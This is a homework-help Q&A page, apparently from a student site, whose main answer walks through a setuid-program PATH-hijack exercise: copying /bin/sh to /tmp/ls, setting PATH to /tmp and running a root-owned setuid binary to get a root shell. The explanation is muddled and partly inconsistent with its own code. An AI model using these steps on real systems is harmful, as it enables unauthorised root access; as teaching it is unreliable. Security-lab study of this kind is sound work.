1answer.
Ask question
Login Signup
Ask question
All categories
  • English
  • Mathematics
  • Social Studies
  • Business
  • History
  • Health
  • Geography
  • Biology
  • Physics
  • Chemistry
  • Computers and Technology
  • Arts
  • World Languages
  • Spanish
  • French
  • German
  • Advanced Placement (AP)
  • SAT
  • Medicine
  • Law
  • Engineering
telo118 [61]
4 years ago
5

The PATH environment variable.

Computers and Technology
1 answer:
enot [183]4 years ago
8 0

Answer:

Answer explained below

Explanation:

Yes, you can let Set-uid program that is owned by root to run your code instead of /bin/ls but it has it's own drawbacks and is actually not safe.

As you can not rely on that since some of the shells if different from the ruid drop an euid which is actually not safe.

execl("/bin/ls", "ls",(char *)0);  

run this under your main program.

Since it can have a root previlege,

-$ cd /tmp/

/tmp$ sudo su

:/tmp# gcc -o system system.c

:/tmp# chmod u+s system // changing file permissions

:/tmp# exit

exit

:/tmp$ cp /bin/sh /tmp/ls

:/tmp$ ./system

<u>Steps: </u>

1. The first thing you need to do is copy /bin/sh to /tmp.

2. After copying /bin/sh to /tmp set a new name ls but make sure your sh ->.zsh.

3. Set PATH to current directory. /tmp.

4. Compile

5. Run the program system and you can get your root previledge.

Now, with the above exmaple if you change /bin/sh soo that it points back to /bin/bash and repeat all the previous steps, you will not be able to get your root previledges.

You might be interested in
Explain why the scenario below fails to meet the definition an assembly line.
vichka [17]

Answer:

its not an assembly line

Explanation:

assembly lines have ppl who aren't experts and are taught to only do one simple part of a much much bigger thing

4 0
3 years ago
All sensitive media on a laptop should be encrypted.
Inessa05 [86]

true very very true it could get stolen if not (well either way) but it is better encrypted

8 0
3 years ago
What is one task of a system optimization tool?
8_murik_8 [283]

Answer: Identifies what apps start on boot

Explanation: sys opt tools find things that are slowing down your device so anything within that lens will work cleaning sys storage could also work as an answer

6 0
4 years ago
Read 2 more answers
What is the rarest Supercar/hypercar you have ever seen?
Alina [70]

Answer:

Mercedes-Benz SLR McLaren Stirling Mos

for real for real

Explanation:

5 0
3 years ago
Which tools can be used to scale an object? Check all that apply.
meriva

Answer:

format picture pane

corner sizing handles

Explanation:

7 0
3 years ago
Other questions:
  • The two ways to use the help menu is by searching of the contents or searching the _____
    13·2 answers
  • In 3–5 sentences, describe how technology helps business professionals to be more efficient.
    7·2 answers
  • Match the job roles with their appropriate qualifications
    15·1 answer
  • A standard computer monitor is 1024 pixels wide and 768 pixels tall
    9·1 answer
  • In this section, you will use a stack to implement a program that checks if a string is balanced. Use the skeleton code provided
    5·1 answer
  • What charts the cost to the company of the unavailability of information and technology and the cost to the company of recoverin
    15·1 answer
  • what does it mean if you get the brainlyest ?and why does everyone want it so bad? and how do i give it to someone?
    6·1 answer
  • What is humanity’s greatest invention?
    13·1 answer
  • Name at least three classes to which each of these objects might belong:
    10·1 answer
  • Not all output display data for humans to read explain why​
    13·1 answer
Add answer
Login
Not registered? Fast signup
Signup
Login Signup
Ask question!